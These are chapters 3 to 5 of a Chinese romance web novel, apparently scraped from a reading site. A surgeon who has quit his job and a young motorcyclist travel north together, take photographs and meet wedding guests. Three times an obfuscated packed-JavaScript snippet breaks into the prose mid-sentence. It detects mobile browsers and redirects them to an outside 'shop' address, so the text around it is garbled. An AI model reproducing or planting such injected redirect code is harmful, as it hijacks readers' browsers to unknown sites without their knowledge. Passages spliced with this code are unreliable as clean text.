《沙山早月》 3. 第 3 章 梁愿醒:“那不如我们去拍日出!” 段青深:“睡觉。” 他根本睡不着,毕业后在酒吧驻唱过得作息昼夜颠倒,这下段青深躺在旁边,更睡不着了。梁愿醒没想到段青深会这么年轻,应该说他根本没猜过段青深的年纪。 有些摄影作品会有比较浓郁的故事感,尤其长焦镜头的照片。但《去西北》没有让他感觉是摄影师跋山涉水守候日落,不掺任何情绪,没有强烈的自我表达。 那仅是一张寂静的大漠史诗。 照片里,连被风扬起的沙子都自由。它不叙事,只传达了一句话:你要去做自由自在的风。 三年来梁愿醒遗憾过,这风终究吹不出手机屏幕,没想到今时今日,不知道哪阵邪风直接把段青深吹到他床上来了。 “睡觉。”风又重复了一遍。 “啊。”梁愿醒在黑暗里眨眨眼,“这都能发现?” “你眼神太灼热了。”段青深说。 “我叫梁愿醒。”他没头没尾地来了这么一句自我介绍,在两天前才刚姓名核实过的前提下。 段青深在旁沉默了片刻后:“你好,段青深。” 好诡异啊。 凌晨的小镇民宿,两个陌生男子躺在床上已经够奇怪了,然后现在忽然开始莫名其妙地自我介绍? 后来段青深实在太累,睡了过去。 他是个挺能扛累的人,毕竟外科医生。但这两天,他完成了自己的主体转变,也是今天终于认真迈出这一步,难得沉沉睡去。至于旁边这位,就随他吧。 段青深有生物钟,早上七点整醒了一次,下意识觉得要起床去上班,被子掀一半才想起来自己已经辞职。 紧接着放心大胆地继续睡。 临近中午的时候他醒了,被梁愿醒小心翼翼地叫醒的。 看得出来梁愿醒叫他起床时内心很挣扎,颇有一种大逆不道的负罪感,但还是把他推醒,说:“段大师,起来吃午饭了。” 段大师是哪位。 “别叫我段大师……”听起来像算命先生。 段青深坚强地坐起来,揉了揉眼睛,看向床边蹲着的梁愿醒。 民宿的餐食是另外收费,梁愿醒一早就起床帮他的那份付掉了,搞得段青深更不好意思,赶紧从微信上给他转了过去。 席间老板和老板娘问他要去哪儿,他说到山东。老板一合计:“这么巧!” 段青深咽下食物:“您也去?” “他。”老板向梁愿醒抬了抬下巴,“他失业了,摩旅,从西湖骑到西北。” 梁愿醒就坐在他旁边。他估算了一下从西湖到这个镇子的距离,问:“你骑了差不多两天?” “嗯。”梁愿醒点头,“出发第二天就摔进了医院。” 段青深抿了下嘴唇,没笑出来,假装咳嗽了下:“呃,骑行,难免的。” 说完,他转念一想。骑到西北? 梁愿醒捕捉到他眼神中一些摇摆不定的疑惑,他朝着段青深重重地点了一下头,肯定了段青深的猜测。没错,我去西北就是因为你。 “你俩一块儿呗!”老板说,“到山东要过一整个江苏,两个人在路上还能照应照应,小梁还瘸着呢。” 没瘸,这不是瘸。他没反驳老板,向段青深飘过去一个目光。 段青深低头吃饭闪避,梁愿醒又飘,他不能装看不见了,再装下去就太刻意。他放下碗筷,抽了张纸巾,问:“你伤口怎么样了?” 已经行动自如,他恢复得很好。然而梁愿醒还没来得及说话,对面老板抢先一步:“唉哟那伤口老长老深了,今早上还是我给搀下楼的呢。” 并不是,根本没有被搀,他自己走下来的。 段青深又怎么不明白,梁愿醒的片子他看过,伤得很走运,只是血出得吓人了点。 “是吗。”段青深看向他。倒不是考验,只是好奇。 “老板,人家是医生。”梁愿醒无奈地看着老板。 “哈哈哈。”老板尬笑。 段青深起身将骨碟倒进垃圾桶,坐回来,问他:“一起吗?” “啊?” “江苏大部分高速禁行摩托,你只能走国道。反正顺路,一起吧,路上要是伤口牵扯了,我还能帮你处理。”段青深说。 既然已经离开父母的轨道,那么就蒙上眼睛随便走吧,撞到什么就抱住什么。他看着梁愿醒,这小子好像还没反应过来。 一小时后,梁愿醒发了个朋友圈。 醒醒:四肢健全地出发了! 附图是他酷酷的摩托车。 特意用相机拍的,拍完直接从相机里的Wi-Fi把照片传去手机,再发朋友圈。 结果朋友圈里图片压缩得和手机拍的没啥区别。梁愿醒一番折腾,最后握着手机,气到下巴都差点打哆嗦。 段青深在旁边哭笑不得,拍拍他肩膀安慰道:“起码直出的色彩非常好。” 梁愿醒点头表示认可。 “路上小心啊~” 老板和老板娘,以及两位住客向他们挥手。 梁愿醒骑的是一辆三箱越野摩托车,车尾有三个大小适中的方形箱子,里面是他这次摩旅的家当。 段青深开的一辆吉普,和他本人的外形不太符合,十分粗犷。梁愿醒看见他车里放着不少行李,包啊箱子的一大堆,像搬家。 不过梁愿醒没有多问,他不在乎,对他来讲当下最重要。 两个人统一好导航路线后,梁愿醒在前,段青深跟在后面。秋天似乎从这天才刚开始,旅途也是。 如果没有碰见梁愿醒,段青深原本的计划是在民宿住一晚,今天直接上高速。他只要睡得还不错,体力就足够支撑他开八个小时抵达目的地。但计划有变,他得走国道,和一辆摩托车保持跟车速度。 段青深扶着方向盘,和梁愿醒保持大约5、60米车距。他看着前面摩托车尾箱,忽然意识到这家伙还没骑出省界就摔车摔进了医院,没忍住笑了下。 段青深不知道怎么形容自己此时此刻的心情,这状态对他来讲太陌生,好像活了三十年才醒过来。 而前头那位骑车的,早就在头盔里唱起来了:“你回来~你不回来~尽管天塌下来~” 唱完还像真的演出一样,自说自话着:“Thank you!谢谢大家!” 最开始梁愿醒纠结过这趟是骑摩托还是开车,姨妈姨夫一家移民后,房子和车都留给了他,他们听说梁愿醒要去自驾游的时候,姨妈还特意叮嘱他,出发前要把车先开去店里检查一下,免得半路出问题。 最后还是决定骑车出来,梁愿醒觉得坐在车厢总是隔了一层。虽然摩托头盔也隔着,但身体在风里。 104国道修得宽且平坦,道路路况和高速公路差不多,没有多少坑洼。虽是秋天,但路两旁的行道树完全没有枯黄。江浙一带迟到早退的秋天。 因为禁摩,梁愿醒在西湖边做了多久的驻唱,他就多久没再骑过这辆摩托,憋坏了。这回可算是让他的宝贝好好运动一下。 此时此刻,目的地在前面,段青深在后面,他越骑越开心。 十字路口等红灯的时候段青深跟他并排停下,降下了车窗。梁愿醒停车的姿态很帅,他穿的骑行服,一条笔直修长的腿支在地上,问:“怎么了?” “下一个加油站停一下。”段青深说,“我车快没油了。” “好嘞深哥!” 红灯倒数最后5秒,梁愿醒微俯身握住车把手,又扭头看了眼段青深。段青深左手扶在方向盘上缘,指了下前方,示意他看路,不要看自己。 加油站只有四个加油桩,每个都排了老长的队。梁愿醒也顺便把油加满,他排在一辆雪弗兰后面。他把护目镜推上去,四下看了一圈,没看见段青深的车。 又望了一圈,还是没看见。旋即梁愿醒心下一紧,莫非和段青深约定“下一个加油站”的地方到这里,中间还有个加油站,但自己错过了? 他赶忙拿起仪表盘上边卡着的手机,准备给段青深打个微信电话,还没从导航切到微信,忽然肩膀被人拍了下。 “我以为我进错加油站了呢。”梁愿醒的嘴巴在头盔里,讲话听来闷闷的。 加油站很吵,车辆扎堆,引擎声和油枪嗡嗡工作声,还有穿梭在其中的风。段青深不得不低些头:“你说什么?” 梁愿醒把手机卡回手机支架,两只手捧起头盔往上一抬摘下来:“我说,我以为我进错加油站了,刚刚没看见你。” “我在你前面进的,已经加完了停在那边。”段青深指了下加油站出口通道侧边的停车位,那确实看不见,被自助洗车的大机器挡着。 梁愿醒“哦——”了一声:“难怪呢,你开挺快啊,我觉得我骑车已经窜得够快了。” 说完,前边加完了一辆,雪弗兰跟着往前挪,梁愿醒也蹬着地往前沽涌了一截。 “我没开多快。”段青深有点不好意思,咳嗽了一下,眼神闪躲。 梁愿醒的头发在头盔里压得乱七八糟,脸上也有头盔的压痕。他随便拨弄了两下,弯着眼睛笑起来:“等我一下啊,我也加油。” “好。”段青深示意了下手里的两罐饮料,说,“你喝咖啡还是运动饮料?” “饮料吧,谢谢。”梁愿醒接过来,搁在摩托车头侧边的饮料架上,还是疑惑,“究竟为什么你会比我先到呢?” 他都这么问了,段青深有个比较明显的鼓起勇气的吸气动作,说:“我跟错车了。” “啊?” “把另一辆摩托认成你了,那人骑得挺快的,我怕跟丢了,就……”段青深苦笑了下。 “噗呲。”梁愿醒没憋住,他话还没说完就笑出声了,接着问,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996034|148419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没超速吧?” “没有。” “那就好。” 梁愿醒加完油,车骑到段青深的车旁边,两个人开始琢磨刚从加油站便利店里买的蓝牙对讲。 这是个800米范围的对讲,考虑到梁愿醒头盔里已经有个蓝牙耳机连着手机了,所以他们买了个能扣在头盔下缘的款式。 “是这么弄的吗?”梁愿醒把头盔戴上,按了下对讲,问,“我这么说话你能听见吗?” 段青深无奈:“我就站你对面……” “也对。” 重新出发,有了对讲机后旅途轻松了很多。 梁愿醒:“Test!” 段青深:“听到。” 这个对讲很轻便,半个手掌心大,触碰感应式说话的,检测不到人声后就自动休眠。 还是梁愿醒骑在前面,段青深跟着。打从民宿出发到这里已经行驶一百多公里,十月天暗得早。 “靠近镇江找个地方落脚吧。”段青深说,“明天早点出发,可以吗?” “可以呀!”梁愿醒的声音掺着风声和对讲的电流声,“我忘记问你了,你到山东做什么?” “同学结婚。” “哦!你去吃席。” “我去给他们拍点照片……顺便吃席。” 听见他要拍照片,梁愿醒来劲儿了:“你一个人拍吗?需要我帮忙吗?我会打光会P图,我还有台相机!加一个70-200的变焦镜头!” 段青深扶着方向盘倏地笑了,看着前边快乐的摩托,清了清嗓子:“限速60,减速。” “哦。” “你没事儿的话可以一起。”段青深说,“刚好我……我没相机用。” “啊?那你要是没遇上我,你怎么办?”梁愿醒的声音和他人一样,干净清爽,和猎猎风声一起从对讲里飘出来。 傍晚天地晦暗,他看得见摩托车的尾灯,听得见梁愿醒的声音。忽然间真的在想这句话。 要是没遇上你,我怎么办。 可能昨晚没地方过夜吧,也可能永远都不知道,原来自己拍的照片会有人这么喜欢。 大部分当代年轻人的颁奖台是:设为头像、设为聊天背景、设为朋友圈背景、设为屏保。 《去西北》是段青深失去相机前的最后一张作品。他没想过有任何人会记住他,更没想过会有人会为了那张照片,要从西湖骑到西北。 他迄今为止的人生没有被这样纯粹的欣赏的眼神注视过。 父母常常把“作用”和“价值”作为观看他作品的开场白用词,最后以“还是学业为主,别太分心了”收尾。 “喂喂?”梁愿醒没听见回音,“Test!Test!” “在。”段青深说,“我要是没遇上你,就现买一台。” “哦……”梁愿醒略感失望,原来也不是多重要的事情。 “倾家荡产买一台。”段青深补充。 “哈哈!”他又开心了。 这条路是国道104京岚线,全长两千六百多公里,连接着福建和北京。他们的行程是穿过江苏抵达山东半岛的一个海滨城市。今天从京岚线拐上宜金公路路过吉渡桥的时候,段青深降下车窗,让北干河的秋风扑进来。 和风声一起涌入车厢的,还有不远处那辆摩托车发动机的轰鸣。 距离镇江市区不远的时候,天已经完全黑了。 十月的蚊子比盛夏的更毒,面馆天花板的灯罩里,虫尸遮了一小块光,还有些飞虫在里面乱蹦。店里墙上挂着灭蚊灯,偶尔噼啪一声响。 段青深从面馆收银台走回餐桌的时候,见他仰着脑袋,便也抬头顺着他的视线看。 哒。段青深把冰镇可乐放在他面前。 “谢谢。”梁愿醒说。 “看虫子呢?”段青深在他对面坐下,问道。 “为什么飞虫会死在灯里呢?飞不走吗?” “不知道。”段青深摇头,“可能等虫子反应过来的时候,已经被烤干了吧。” 面馆的门头牌子就是耿直的“镇江锅盖面”,里面六张长型餐桌,每张桌子上一瓶醋和一罐油泼辣子。 油泼辣子的容器看上去用了很多年,因为梁愿醒把盖提起来的过程中有着不小的阻力,盖和罐身已经被厚厚的油粘黏在一起。 “哇。”梁愿醒看着里面红彤彤的辣椒油,以及迸发出来的香辣味道,发出感叹,同时吞咽了下。 刚好,面馆老板端来他们的两碗面,秋夜里热腾腾的汤面,富有层次感的香味扑面而来。梁愿醒刚舀起一大勺辣子,段青深立刻看向他。 “饮食清淡点,伤口还在恢复。” 梁愿醒震惊地抬眼:“可我舀都舀了。” 他很希望辣椒会说话,说一句我来都来了。 “那就放我碗里。”段青深无情地说。 4.第 4 章 面馆的餐桌算不上宽,点的面都是大碗,两个碗的边缘快挨着了。 梁愿醒捏着勺子的手微微颤抖,最后争取了一下:“你能吃辣吗?这闻着挺辣的。” “能。” 一勺辣椒油被放进段青深的面碗里。面汤是卤牛肉的卤汁汤,咸鲜的口味里稍微偏甜,辣椒油落进去后迅速荡开。段青深用筷子搅了搅,立刻获得了一碗香辣牛肉面。 把梁愿醒眼睛都香直了。 段青深笑了下:“你少放点吧,小半勺。” 时间挺晚的了,面馆老板已经收拾好门口煮面的大桶,几大盆卤好的牛肉和切好的肴肉封上口,搁进冰柜。 老板的手机里播放着带有口音的评书,关掉门口轰轰作响的什么机器后,走到他们桌边,说:“你们慢慢吃,不用着急。” 二人向老板点头说谢谢。 老板去冰柜里拎了瓶冰豆奶,自己一个人在最靠里的餐桌坐下休息。这里是市郊,晚上从国道下来的司机们多会选择在这一片吃饭歇脚。 进来几个大叔,老板坐直,摆摆手说:“没有了,卖完了。” 二人同时抬头,对视一眼,笑了下,挺走运的,再来晚点老板估计店门都关了。 这晚过夜就在国道附近,连锁酒店蛮干净,开了间双床的标间。 不过大概是为了节约空间,这双床标间里的两张床距离可能就一根手指头,一道缝。 梁愿醒对着那缝瞅了半天,说:“我们晚上玩手机得小心点,这缝真是为了让手机溜下去量身打造的。” 段青深点头:“好,会的。” 段青深拿消毒湿巾准备擦一下两个床头柜,叫梁愿醒先去洗澡。 “这房间都小成这样了,还至于摆个电视柜挂个电视吗……”梁愿醒洗完澡出来,跨过地上的行李箱,嘟囔着。 抬头才发现段青深在窗边打电话,抿住嘴没再出声。 “嗯,中秋节回奶奶那边的时候看了她的体检报告,指标都还可以……之后,之后接下来比较忙,我下周末就不去您那了。好,爸您也早点睡。” 梁愿醒用毛巾搓着后脑勺,困惑地看着他。 “怎么了?”段青深问。 “没、没事。”他嘴巴急刹,憋回去了。 他是憋住了,但段青深像没事人一样,“喔”了声,说:“我辞职了,但没告诉家里。” 段青深言简意赅:“我刚才在说谎。” 说这话的时候心跳过速,因为他很少这么直白真诚地表达自己。 梁愿醒眨眨眼:“但严格来说你没说谎,接下来确实很忙。” 段青深没反驳,笑了下。 他觉得自己可能笑得太苦涩,导致梁愿醒看过来的目光散发出了一些怜爱。 “睡觉。”段青深说。 但梁愿醒毫无困意。按理说这么一天骑行奔波,应该是倒头就睡的,段青深叫他睡觉,他“嗯”了声然后闭上眼睛。 像从前姨妈担心他的睡眠问题时一样,他装睡装得炉火纯青,姨妈会在他睡下后,轻手轻脚地偷偷再打开他房门看看他有没有真的睡着。 黑暗里,段青深听着旁边人好像很平缓的呼吸声,他睁开眼悄悄朝旁边看。段青深有一半的把握判定他在装睡,转念又觉得这人还挺听话,叫他睡觉,睡不着也要装睡。他无声叹气,没戳穿他。 无论如何,第二天梁愿醒跟着闹钟起床了,一分钟都没耽误。 梁愿醒带了两套骑行服,这间旅店没有洗衣服务,他把脏的那套塞进袋子里,装回尾箱。旅店停车场是露天的,清晨几个吃完早餐的住客在这儿抽烟。 梁愿醒的骑行服是专业的那种,连体的,黑色底色,肩膀手臂和后背处有几个反光条,膝盖手肘处自带防护垫。 他看着梁愿醒忙活,把洗漱包啊卡包啊什么的塞进尾箱。他的骑行服很合身,梁愿醒目测有一米八,身材匀称,头发微长,看起来不是懒得理发的那种长,像是刻意维持的发型。 段青深对这方面没有研究,他只觉得挺好看。 他最后检查两个车胎的时候,段青深想起来了件事。 “那天摔车,你也是穿的骑行服?” 梁愿醒摇头:“没,那天我背着相机从民宿出去拍夜景买烧烤,就只戴了头盔。” 说完,他把头盔戴上,边戴手套边说:“早知道不贪那一口了,不行,不贪那口我就碰不上你了。” 他抬眼看向段青深。段青深伸手把他头盔护目镜盖下来,在他头盔顶拍两下:“走了。” “好!” 天气很好,道路情况也不错。 他们走的G233国道边上就是京沪高速,北上的路越走越凉爽。国道的最高限速是80,距离目的地还有四百多公里。 对讲机主要用来沟通路况、油耗,以及交流要不要在下一个加油站去趟卫生间。 清晨八点出发,顺利的话,今晚九点差不多就能到。实际比段青深计划的晚了一天,又因为他要跟在梁愿醒车后,车速又慢了些。不过这都没关系,他现在最不需要的就是计划。 好吧未必。因为拍摄对象必须在计划内。 过了淮安地界后的第一个加油站里,梁愿醒在卫生间呼噜了两把脸,下巴挂着水珠出来。段青深在停车区外缘,靠近路边的地方打电话,梁愿醒走过去,没说话,朝他笑了笑。 “今晚能到,我微信上告诉你了,估计你没看见。”段青深换了只手拿手机,另只手伸进自己车窗,够着副驾驶扶手那儿,抽了几张纸巾递给梁愿醒。 “嗯,我猜到你没看见微信,这几天微信被弹爆了吧……肯定啊,结婚嘛。”段青深说,“没,没出什么事,是我……我助理,他是骑摩托的,所以会慢点,对,找了个助理,会打光会后期,还自带一台徕卡。行,不聊了,到时候见。” “你同学?”梁愿醒问。 “嗯,都中午了才想起来我没到,也忘了帮我弄相机。”段青深从车窗把手机扔进去,“过几天就结婚了,应该是忙昏头了。” 梁愿醒点点头表示理解:“啊对了,我能把我尤克里里放你车里吗?我怕后面路太颠。” “可以,你拿过来。”段青深想了想,又说,“要不相机也放我车…算了你那几个箱子都拆下来放我这吧。” “啊?”梁愿醒有点不好意思,“可是你车里也塞了不少东西吧。” 段青深失笑:“我还想问你呢,你这个季节往西北跑,就带这么点东西,看着厚衣服都没装几件。没事,后座和副驾地上都是空的,拿过来吧。” 两个人一起把摩托的三个尾箱拆下来,果然和段青深说得一样,梁愿醒这位从小没离开过南方的孩子,他对“秋天”的概念就是毛衣、外套和长裤。凉丝丝的风,气温二十来度很舒服。所以他的行李中最厚实的一件加绒卫衣。 “我看了天气预报的。”梁愿醒递过去尤克里里的箱子,“敦煌有十几度呢。” “那是白天和平均气温,晚上只有四五度都说不准的,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006998|148419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且你要是进沙漠拍照就更冷了。” 三个箱子,两个放在后备箱,一个放在车后座。段青深关上车门转过身:“头盔戴上,走了。” “你接下去哪?”梁愿醒拎着头盔问。 虽然认识没两天,但段青深明白他这个“接下来”问的是什么。 “还没想好。”段青深抿了抿唇,“走一步看一步,先走吧。” 梁愿醒的导航有一个笃定的终点,但他没有。 “好。”梁愿醒笑起来,“走吧。” 段青深看着他走回摩托车旁边,抬腿跨上去,拧钥匙。国道边的加油站里停车区,人们操着天南地北的口音。微妙的,他觉得梁愿醒可能希望自己跟他一起去西北。 他不确定,就像他不确定昨晚梁愿醒究竟有没有装睡。 从G343国道拐上山深线,G205国道过了连云港走上烟沪线,梁愿醒冻得瑟瑟发抖。 有一段路天色全暗,黑得只能听见风声,段青深在对讲里指挥梁愿醒放慢车速让自己超过去,叫他跟在自己尾灯后面骑。这样梁愿醒不用看道路视野,看着自己车的尾灯跟车就行。 晚上在沿海公路旁边吃晚餐。海滨旅游城市的好处之一是招待能力很强,无论在什么犄角旮旯或者黑洞洞的国道省道,都能碰见营业的饭馆。 这还没到西北呢,梁愿醒已经冻得哆嗦了。段青深在饭馆门口点菜,因为海鲜都养在门口的大注氧缸里。点了几道海鲜和炒时蔬,段青深回头,叹气,跟服务员说:“就这么多,可以直接做,我们就两个人。” 服务员应下,段青深走到梁愿醒旁边:“不冷吗,这么站风里,这地方都快供暖了。” “冷啊。”梁愿醒扭头,声音都哆嗦,“但你看那儿。” 他指向海,指着那边的灯塔。 段青深靠近他一步,手揣在外套口袋里,看他相机屏幕,说:“噪点有点多,你把ISO设置低点看看。” 不得不说,山东半岛的风是真大啊,梁愿醒的相机腕带正在唰唰扇他的脸和手背。他点开设置,眯着眼问:“300可以吗?” “300或500都可以,再看一眼你焦段,设置到安全快门。” “要不你来吧。” 段青深摇头:“自己弄,这是你的相机,你得会。” 他端起相机又拍一张,画面欠曝了,这很正常,没有三脚架,手持拍摄,而且是冷得发抖的手持拍摄。 梁愿醒有点沮丧,段青深拍拍他后肩,说:“没办法,夜景单一光源…也不算,那都称不上光源,进去吧,别吹感冒了。” 两个人都饿坏了,中午随便对付了一口,而且这种鲜活的海鲜烹饪起来也很简单。冷锅下食材,加冷水,姜片料酒,扣锅盖,水开了就能吃,鲜嫩得恰到好处。 吃饱后梁愿醒感觉没那么冷了,吃得有点撑,年纪小就是如此,饿极的时候吃到嗓子眼儿了才反应过来。导致他迟钝了一下,让段青深先付了钱。 “多少啊?我A给你。”梁愿醒站起来,背上相机拎上头盔。 “不用。”段青深说,“能帮我个忙吗?” “什么忙?” 段青深揣起手机,看向他,说:“酒店我订好了,一会儿先去酒店放下东西。我太久没拍人像,怕手生,你给我当个模特,行吗?” 梁愿醒指指自己,眼神清澈:“我啊?” “你啊。” “我行吗?” “行的,长这么帅。”段青深笑着说。 5.第 5 章 梁愿醒目光躲闪了下……他经常被夸帅,周围的人叫他“小帅哥”什么的。但他自己倒是没当回事,人家就客气客气嘛。 被段青深这么一说,居然稍微有点脸烫。他赶紧从饭馆走出去。沿海城市晚上的风差点把他摩托车掀了,更别提脸上这点温度。 段青深在微信上把酒店地址分享给他,虽说已经过了国庆出行高峰期,但沿海城市总是不缺游客,路上车多,以防跟车跟丢。梁愿醒调试好导航,在对讲里跟段青深说了句“OK了”。 吃饱了饭,吹着凉风在海岸线骑车。夜晚跟车是最舒服的驾驶方式,只要跟着前车跑就行。他去哪儿自己就跟着去哪儿,直行转弯减速停车,甚至限速都不用看,因为段青深的车速会压在限速以下。 酒店在市区,段青深带着他绕过摩托车管制路段,半个小时左右抵达了酒店。段青深以“麻烦你帮忙”为理由,酒店也没让梁愿醒花钱,搞得他有点不好意思。 他抱着头盔,看段青深在行李箱里翻找着什么,蹲那儿哼哧哼哧的,问道:“深哥,我要换套衣服吗?” “不用。”段青深头也不回,“这套骑行服很帅。” 梁愿醒低头看看自己:“可是有点脏。” 一路骑行五百公里可不是开玩笑的,尘土就不说了,还溅了很多泥。 段青深:“你可别掸掉了,就要那些泥土的效果。” 梁愿醒把湿纸巾又塞回去。 拍摄场景就是酒店的底下停车场。 “不是说拍夜景?”梁愿醒不解。 “外面光太乱了。”段青深端着相机,看相机画面,“沙滩又不让摩托车过去。” 段青深边说话边前后走动调整取景范围。他让梁愿醒就站在停车场的过道上,停车场很安静,有车过来能听见,到时候及时让开就行。 梁愿醒那么站着,觉得自己有点呆,胳膊夹着他的头盔,就那么看着段青深。段青深显然已经进入状态了,他只看取景框。取景框里是什么样,世界就是什么样。 “去把摩托车大灯打开,对着你自己现在站的位置,然后站回来。” “好。” 梁愿醒打开车灯后退回原地,摩托大灯从他正面打过来,幽暗的地下车库里,取景画面中一个完美的轮廓光。 出现光源后,段青深又调试了一下参数,说:“眼睛看地面,但不要低头,换另一只手拎头盔,后背放松。” “这样可以吗?”虽然他说放松,但梁愿醒能感觉到自己很僵硬。 “特别好。”段青深鼓励他,“你现在走向摩托车,正常步子走。” 虽说正常步子,但这种状态真的很难自然走过去,梁愿醒不是专业模特,知道有镜头对着自己,难免紧张。果然,段青深轻声笑了下。 梁愿醒蹙眉看过来。 “别看镜头。”段青深依然看的是相机屏幕,“继续走。” 接下来是一串连拍,段青深单膝点地跪在地上,把快门按得像机关枪。 段青深并非哄他,画面真的特别好,车库的墙面是比较普通的深墨绿色,但这两排恰巧都停着黑车。梁愿醒黑色的骑行服,黑色的摩托车,段青深从侧面拍,像黑骑士走向黑色战马。 头顶是一些黑灰色的管道,略微破败,主体正面被照出轮廓光,段青深很满意。 “手指去摸车灯。”段青深说。 梁愿醒骑行手套上的灰尘在灯下无所遁形。段青深又找回了那种感觉,有些沉浸。他继续指挥梁愿醒:“头盔戴上,准备上车,你走到车……” 倏地,一阵突兀的手机铃声响起来。是梁愿醒的。 “不好意思。”梁愿醒刚把头盔举过头顶。 “没事,你接。”段青深站起来,低头往前看刚刚拍的照片。但图片还没缓存好,只能看看相机机身。 “小姨~”梁愿醒电话接起来,笑得很开心。 “您还没睡啊?新西兰快凌晨两点了吧?”梁愿醒边说边走动,企图在这地下停车场找到一个信号好点儿的坐标,“我顺利到山东了,小羽也没睡呢?我听见她嚎了,是不是她簪子又做毁了。” 相机终于能往前翻了,段青深低头一张张向回看。 “嗯,您放心吧,我不缺钱不用给我转。”梁愿醒接着应了几句对方关心的话,我好着呢、您放心、早点休息之类。 电话挂断后,莫名有一种连贯的事情被打断,衔接起来略显尴尬的感觉……梁愿醒试探着问了句:“我们还、还继续吗?” 问完自己愣了下,好怪。 段青深抬眸,他刚想说“继续”,听见一阵汽车发动机的声音,和车灯光柱从过道另一边打过来。 “算了。”段青深上前两步,示意他靠边,“差不多了,上楼休息吧。” 晚上房间里出现个小插曲。 段青深要在这里停留三天,酒店房间是个套间,两个小卧室一个会客厅。插曲出现的时候,梁愿醒凑在客厅餐桌上,和段青深一起看电脑里的照片,他正在裁剪,时不时教梁愿醒一些画面要素。 然后插曲来了——两声震天的“嘭嘭”敲门响起来,很不友善。梁愿醒吓一跳,噌地站起来开始寻找屋里能当做手持武器的东西。 段青深起身把他按回椅子里:“我去开门。” 这种擂门的力道,应该不是客房服务,因为服务员通常摁门铃。梁愿醒被按回去坐下又弹起来了,他跟在段青深后边,整个人很强的戒备感,准备随时跟人近身搏击。 段青深打开门,先开了条缝,握着门把的手维持着力道。然后他忽然笑了,把门整个打开,说:“你们怎么找过来了?” 敲门的人径直踏步进来,是个还挺壮实的男性,怒道:“还问!你人都到我这儿了,你不先联系我,躲酒店里算怎么回事儿?!” 这大哥后边还跟着另一个大哥,也跟着帮腔:“就是啊!要不是我也住这儿,在大堂瞄到你,你是打算婚礼当天再出现吗!” 梁愿醒了然,大约是新郎官和他的朋友。 两个人进来之后才发现梁愿醒。段青深介绍:“这次拍摄的助理,姓梁,梁愿醒。这位是后天结婚的新郎,曾晓阳,这位也是我高中同学,伴郎之一,何文冰。” 梁愿醒和两个人握手,乖巧地叫曾哥何哥。 曾晓阳不是空手来的,拎了一大袋子打包的烧烤肉串,搁在餐桌上,说:“文冰跟我说在酒店大堂看见你了,但不太确定,就瞅见个侧影。我说你问问前台呗。” 何文冰接上话:“我说可别,搞得跟我捉奸似的。” “……”段青深无语地看着两个人,“然后呢?怎么摸到房间号的?” “我下楼取外卖的时候,听见大堂经理特大声地喊:‘打电话给2315的客人!告诉他,从这儿向东走三个红绿灯就能看见卖摄影灯的店!’” 段青深相当无语地拿手捂了下额头。然后梁愿醒把他想问的话问了:“那万一是巧合呢,开门不是我们怎么办?” 何文冰:“那就道个歉,再抽两串肉给人家呗!” 梁愿醒:“还能这样!” 段青深笑着摇摇头,合上电脑,解释:“本来是想明天再联系你们,今天到的时候都八点多了,我要是联系了,晓阳还得找地方请我吃饭,我们就先安顿一下,这小孩还是骑摩托的,冷风刮一路了。” 曾晓阳其实是理解的,他生气也就做做样子,指了指一大兜子烧烤:“再来顿宵夜。” 其实两个人都不太能吃得下了,上一顿饭因为太饿太累吃得挺多,到这会儿还不足两个小时,压根没怎么消化。他们仨是高中同学,同龄人,梁愿醒比他们小个六七岁。 何文冰抓了一小把羊肉串递给他:“来,小梁,尝尝!” 喊完小梁,又问:“你多大呀?别让我喊吃亏了,但你看着年纪挺小的。” “二十三,何哥。”梁愿醒接过来,那一小把有六七串。他还饱着,偷偷看了眼段青深,段青深伸手拿过去两串。 “我们刚吃过晚饭。”段青深说。 “他才二十三。”曾晓阳说,“不像咱都三十了,他正是吃饱了还能再吃两顿的年纪。” 梁愿醒想反驳,但又因为这肉串属实香到他了,他嘴里正嚼着:“好吃。” “看吧!”曾晓阳耸肩,“再尝尝这个烤牛油!” 段青深没阻止了,笑了笑,随他吧。 曾晓阳又问:“哎青深啊,你这都辞职了,你付得起助理工资吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014941|148419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 段青深偏了偏身子坐,看了眼梁愿醒,说:“我技术教学,包吃包住。” 曾晓阳心直嘴快:“你可得了吧,趁早把这小帅哥卖给我老婆,别耽误人家赚钱!” “?”梁愿醒大惊,“等等等等…曾哥,我只赚合法的钱。” 段青深噗呲笑出来:“不是,他老婆叫姜妤,是做服饰的,最近在招男模。” 梁愿醒认真地琢磨了下:“还是不了吧,我跟着深哥学摄影挺好的。” “别怕,妤姐本地富婆,去了没人敢欺负你。”何文冰半开玩笑地说,“对了,青深说你是骑摩托过来的?什么车啊?” “ADV,”梁愿醒说,“就越野摩托。” 